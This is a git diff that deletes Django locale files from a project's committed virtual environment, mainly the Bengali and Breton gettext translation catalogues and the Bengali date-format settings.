"alt. month" -msgid "March" -msgstr "মার্চ" - -msgctxt "alt. month" -msgid "April" -msgstr "এপ্রিল" - -msgctxt "alt. month" -msgid "May" -msgstr "মে" - -msgctxt "alt. month" -msgid "June" -msgstr "জুন" - -msgctxt "alt. month" -msgid "July" -msgstr "জুলাই" - -msgctxt "alt. month" -msgid "August" -msgstr "আগস্ট" - -msgctxt "alt. month" -msgid "September" -msgstr "সেপ্টেম্বর" - -msgctxt "alt. month" -msgid "October" -msgstr "অক্টোবর" - -msgctxt "alt. month" -msgid "November" -msgstr "নভেম্বর" - -msgctxt "alt. month" -msgid "December" -msgstr "ডিসেম্বর" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "অথবা" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "0 minutes" -msgstr "0 মিনিট" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "কোন বছর উল্লেখ করা হয়নি" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "কোন মাস উল্লেখ করা হয়নি" - -msgid "No day specified" -msgstr "কোন দিন উল্লেখ করা হয়নি" - -msgid "No week specified" -msgstr "কোন সপ্তাহ উল্লেখ করা হয়নি" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "কোন %(verbose_name_plural)s নেই" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "কুয়েরি ম্যাচ করে এমন কোন %(verbose_name)s পাওয়া যায় নি" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "ডিরেক্টরি ইনডেক্স অনুমোদিত নয়" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s এর ইনডেক্স" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bn/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/bn/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bn/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/bn/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 3cee47ca..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/bn/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bn/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/bn/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 612ababd..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/bn/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bn/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/bn/formats.py deleted file mode 100644 index 9d1bb09d..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/bn/formats.py +++ /dev/null @@ -1,32 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F, Y" -TIME_FORMAT = "g:i A" -# DATETIME_FORMAT = -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j M, Y" -# SHORT_DATETIME_FORMAT = -FIRST_DAY_OF_WEEK = 6 # Saturday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # 25/10/2016 - "%d/%m/%y", # 25/10/16 - "%d-%m-%Y", # 25-10-2016 - "%d-%m-%y", # 25-10-16 -] -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # 14:30:59 - "%H:%M", # 14:30 -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", # 25/10/2006 14:30:59 - "%d/%m/%Y %H:%M", # 25/10/2006 14:30 -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/br/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/br/LC_MESSAGES/django.mo deleted file mode 100644 index d864abe9..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/br/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/br/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/br/LC_MESSAGES/django.po deleted file mode 100644 index 3b1a759b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/br/LC_MESSAGES/django.po +++ /dev/null @@ -1,1297 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Claude Paroz , 2020 -# Ewen , 2021 -# Fulup , 2012,2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-18 21:19+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Breton (http://www.transifex.com/django/django/language/br/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: br\n" -"Plural-Forms: nplurals=5; plural=((n%10 == 1) && (n%100 != 11) && (n%100 !" -"=71) && (n%100 !=91) ? 0 :(n%10 == 2) && (n%100 != 12) && (n%100 !=72) && (n" -"%100 !=92) ? 1 :(n%10 ==3 || n%10==4 || n%10==9) && (n%100 < 10 || n% 100 > " -"19) && (n%100 < 70 || n%100 > 79) && (n%100 < 90 || n%100 > 99) ? 2 :(n != 0 " -"&& n % 1000000 == 0) ? 3 : 4);\n" - -msgid "Afrikaans" -msgstr "Afrikaneg" - -msgid "Arabic" -msgstr "Arabeg" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "Astureg" - -msgid "Azerbaijani" -msgstr "Azeri" - -msgid "Bulgarian" -msgstr "Bulgareg" - -msgid "Belarusian" -msgstr "Belaruseg" - -msgid "Bengali" -msgstr "Bengaleg" - -msgid "Breton" -msgstr "Brezhoneg" - -msgid "Bosnian" -msgstr "Bosneg" - -msgid "Catalan" -msgstr "Katalaneg" - -msgid "Czech" -msgstr "Tchekeg" - -msgid "Welsh" -msgstr "Kembraeg" - -msgid "Danish" -msgstr "Daneg" - -msgid "German" -msgstr "Alamaneg" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Gresianeg" - -msgid "English" -msgstr "Saozneg" - -msgid "Australian English" -msgstr "Saozneg Aostralia" - -msgid "British English" -msgstr "Saozneg Breizh-Veur" - -msgid "Esperanto" -msgstr "Esperanteg" - -msgid "Spanish" -msgstr "Spagnoleg" - -msgid "Argentinian Spanish" -msgstr "Spagnoleg Arc'hantina" - -msgid "Colombian Spanish" -msgstr "Spagnoleg Kolombia" - -msgid "Mexican Spanish" -msgstr "Spagnoleg Mec'hiko" - -msgid "Nicaraguan Spanish" -msgstr "Spagnoleg Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "Spagnoleg Venezuela" - -msgid "Estonian" -msgstr "Estoneg" - -msgid "Basque" -msgstr "Euskareg" - -msgid "Persian" -msgstr "Perseg" - -msgid "Finnish" -msgstr "Finneg" - -msgid "French" -msgstr "Galleg" - -msgid "Frisian" -msgstr "Frizeg" - -msgid "Irish" -msgstr "Iwerzhoneg" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Galizeg" - -msgid "Hebrew" -msgstr "Hebraeg" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroateg" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Hungareg" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonezeg" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandeg" - -msgid "Italian" -msgstr "Italianeg" - -msgid "Japanese" -msgstr "Japaneg" - -msgid "Georgian" -msgstr "Jorjianeg" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "kazak" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannata" - -msgid "Korean" -msgstr "Koreaneg" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Luksembourgeg" - -msgid "Lithuanian" -msgstr "Lituaneg" - -msgid "Latvian" -msgstr "Latveg" - -msgid "Macedonian" -msgstr "Makedoneg" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongoleg" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Burmeg" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "nepaleg" - -msgid "Dutch" -msgstr "Nederlandeg" - -msgid "Norwegian Nynorsk" -msgstr "Norvegeg Nynorsk" - -msgid "Ossetic" -msgstr "Oseteg" - -msgid "Punjabi" -msgstr "Punjabeg" - -msgid "Polish" -msgstr "Poloneg" - -msgid "Portuguese" -msgstr "Portugaleg" - -msgid "Brazilian Portuguese" -msgstr "Portugaleg Brazil" - -msgid "Romanian" -msgstr "Roumaneg" - -msgid "Russian" -msgstr "Rusianeg" - -msgid "Slovak" -msgstr "Slovakeg" - -msgid "Slovenian" -msgstr "Sloveneg" - -msgid "Albanian" -msgstr "Albaneg" - -msgid "Serbian" -msgstr "Serbeg" - -msgid "Serbian Latin" -msgstr "Serbeg e lizherennoù latin" - -msgid "Swedish" -msgstr "Svedeg" - -msgid "Swahili" -msgstr "swahileg" - -msgid "Tamil" -msgstr "Tamileg" - -msgid "Telugu" -msgstr "Telougou" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turkeg" - -msgid "Tatar" -msgstr "tatar" - -msgid "Udmurt" -msgstr "Oudmourteg" - -msgid "Ukrainian" -msgstr "Ukraineg" - -msgid "Urdu" -msgstr "Ourdou" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnameg" - -msgid "Simplified Chinese" -msgstr "Sinaeg eeunaet" - -msgid "Traditional Chinese" -msgstr "Sinaeg hengounel" - -msgid "Messages" -msgstr "Kemennadenn" - -msgid "Site Maps" -msgstr "Tresoù al lec'hienn" - -msgid "Static Files" -msgstr "Restroù statek" - -msgid "Syndication" -msgstr "Sindikadur" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "An niver a bajenn mañ a zo bihanoc'h eget 1." - -msgid "That page contains no results" -msgstr "N'eus disoc'h er pajenn-mañ." - -msgid "Enter a valid value." -msgstr "Merkit un talvoud reizh" - -msgid "Enter a valid URL." -msgstr "Merkit un URL reizh" - -msgid "Enter a valid integer." -msgstr "Merkit un niver anterin reizh." - -msgid "Enter a valid email address." -msgstr "Merkit ur chomlec'h postel reizh" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Merkit ur chomlec'h IPv4 reizh." - -msgid "Enter a valid IPv6 address." -msgstr "Merkit ur chomlec'h IPv6 reizh." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Merkit ur chomlec'h IPv4 pe IPv6 reizh." - -msgid "Enter only digits separated by commas." -msgstr "Merkañ hepken sifroù dispartiet dre skejoù." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Bezit sur ez eo an talvoud-mañ %(limit_value)s (evit ar mare ez eo " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Gwiriit mat emañ an talvoud-mañ a-is pe par da %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Gwiriit mat emañ an talvoud-mañ a-us pe par da %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -msgid "Enter a number." -msgstr "Merkit un niver." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "ha" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "N'hall ket ar vaezienn chom goullo" - -msgid "This field cannot be blank." -msgstr "N'hall ket ar vaezienn chom goullo" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Bez' ez eus c'hoazh eus ur %(model_name)s gant ar %(field_label)s-mañ." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Seurt maezienn : %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boulean (gwir pe gaou)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "neudennad arouezennoù (betek %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Niveroù anterin dispartiet dre ur skej" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Deizad (hep eur)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Deizad (gant an eur)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Niver dekvedennel" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Chomlec'h postel" - -msgid "File path" -msgstr "Treug war-du ar restr" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Niver gant skej nij" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Anterin" - -msgid "Big (8 byte) integer" -msgstr "Anterin bras (8 okted)" - -msgid "Small integer" -msgstr "Niver anterin bihan" - -msgid "IPv4 address" -msgstr "Chomlec'h IPv4" - -msgid "IP address" -msgstr "Chomlec'h IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Boulean (gwir pe gaou pe netra)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Niver anterin pozitivel" - -msgid "Positive small integer" -msgstr "Niver anterin bihan pozitivel" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (betek %(max_length)s arouez.)" - -msgid "Text" -msgstr "Testenn" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Eur" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Restr" - -msgid "Image" -msgstr "Skeudenn" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Alc'hwez estren (seurt termenet dre ar vaezienn liammet)" - -msgid "One-to-one relationship" -msgstr "Darempred unan-ouzh-unan" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Darempred lies-ouzh-lies" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "Rekis eo leuniañ ar vaezienn." - -msgid "Enter a whole number." -msgstr "Merkit un niver anterin." - -msgid "Enter a valid date." -msgstr "Merkit un deiziad reizh" - -msgid "Enter a valid time." -msgstr "Merkit un eur reizh" - -msgid "Enter a valid date/time." -msgstr "Merkit un eur/deiziad reizh" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "N'eus ket kaset restr ebet. Gwiriit ar seurt enkodañ evit ar restr" - -msgid "No file was submitted." -msgstr "N'eus bet kaset restr ebet." - -msgid "The submitted file is empty." -msgstr "Goullo eo ar restr kaset." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Kasit ur restr pe askit al log riñsañ; an eil pe egile" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Enpozhiit ur skeudenn reizh. Ar seurt bet enporzhiet ganeoc'h a oa foeltret " -"pe ne oa ket ur skeudenn" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Dizuit un dibab reizh. %(value)s n'emañ ket e-touez an dibaboù posupl." - -msgid "Enter a list of values." -msgstr "Merkit ur roll talvoudoù" - -msgid "Enter a complete value." -msgstr "Merkañ un talvoud klok" - -msgid "Enter a valid UUID." -msgstr "" - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -msgid "Order" -msgstr "Urzh" - -msgid "Delete" -msgstr "Diverkañ" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Reizhit ar roadennoù e doubl e %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Reizhit ar roadennoù e doubl e %(field)s, na zle bezañ enni nemet talvoudoù " -"dzho o-unan." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Reizhit ar roadennoù e doubl e %(field_name)s a rank bezañ ennañ talvodoù en " -"o-unan evit lodenn %(lookup)s %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Reizhañ ar roadennoù e doubl zo a-is" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Diuzit un dibab reizh. N'emañ ket an dibab-mañ e-touez ar re bosupl." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Riñsañ" - -msgid "Currently" -msgstr "Evit ar mare" - -msgid "Change" -msgstr "Kemmañ" - -msgid "Unknown" -msgstr "Dianav" - -msgid "Yes" -msgstr "Ya" - -msgid "No" -msgstr "Ket" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ya,ket,marteze" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d okted" -msgstr[1] "%(size)d okted" -msgstr[2] "%(size)d okted" -msgstr[3] "%(size)d okted" -msgstr[4] "%(size)d okted" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "g.m." - -msgid "a.m." -msgstr "mintin" - -msgid "PM" -msgstr "G.M." - -msgid "AM" -msgstr "Mintin" - -msgid "midnight" -msgstr "hanternoz" - -msgid "noon" -msgstr "kreisteiz" - -msgid "Monday" -msgstr "Lun" - -msgid "Tuesday" -msgstr "Meurzh" - -msgid "Wednesday" -msgstr "Merc'her" - -msgid "Thursday" -msgstr "Yaou" - -msgid "Friday" -msgstr "Gwener" - -msgid "Saturday" -msgstr "Sadorn" - -msgid "Sunday" -msgstr "Sul" - -msgid "Mon" -msgstr "Lun" - -msgid "Tue" -msgstr "Meu" - -msgid "Wed" -msgstr "Mer" - -msgid "Thu" -msgstr "Yao" - -msgid "Fri" -msgstr "Gwe" - -msgid "Sat" -msgstr "Sad" - -msgid "Sun" -msgstr "Sul" - -msgid "January" -msgstr "Genver" - -msgid "February" -msgstr "C'hwevrer" - -msgid "March" -msgstr "Meurzh" - -msgid "April" -msgstr "Ebrel" - -msgid "May" -msgstr "Mae" - -msgid "June" -msgstr "Mezheven" - -msgid "July" -msgstr "Gouere" - -msgid "August" -msgstr "Eost" - -msgid "September" -msgstr "Gwengolo" - -msgid "October" -msgstr "Here" - -msgid "November" -msgstr "Du" - -msgid "December" -msgstr "Kerzu" - -msgid "jan" -msgstr "Gen" - -msgid "feb" -msgstr "C'hwe" - -msgid "mar" -msgstr "Meu" - -msgid "apr" -msgstr "Ebr" - -msgid "may" -msgstr "Mae" - -msgid "jun" -msgstr "Mez" - -msgid "jul" -msgstr "Gou" - -msgid "aug" -msgstr "Eos" - -msgid "sep" -msgstr "Gwe" - -msgid "oct" -msgstr "Her" - -msgid "nov" -msgstr "Du" - -msgid "dec" -msgstr "Kzu" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Gen." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "C'hwe." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Meu." - -msgctxt "abbrev. month" -msgid "April" -msgstr "Ebr." - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mae" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Mez." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Gou." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Eos." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Gwe." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Her." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Du" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Kzu" - -msgctxt "alt. month" -msgid "January" -msgstr "Genver" - -msgctxt "alt. month" -msgid "February" -msgstr "C'hwevrer" - -msgctxt "alt. month" -msgid "March" -msgstr "Meurzh" - -msgctxt "alt. month" -msgid "April" -msgstr "Ebrel" - -msgctxt "alt. month" -msgid "May" -msgstr "Mae" - -msgctxt "alt. month" -msgid "June" -msgstr "Mezheven" - -msgctxt "alt. month" -msgid "July" -msgstr "Gouere" - -msgctxt "alt. month" -msgid "August" -msgstr "Eost" - -msgctxt "alt. month" -msgid "September" -msgstr "Gwengolo" - -msgctxt "alt. month" -msgid "October" -msgstr "Here" - -msgctxt "alt. month" -msgid "November" -msgstr "Du" - -msgctxt "alt. month" -msgid "December" -msgstr "Kerzu" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "pe" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" 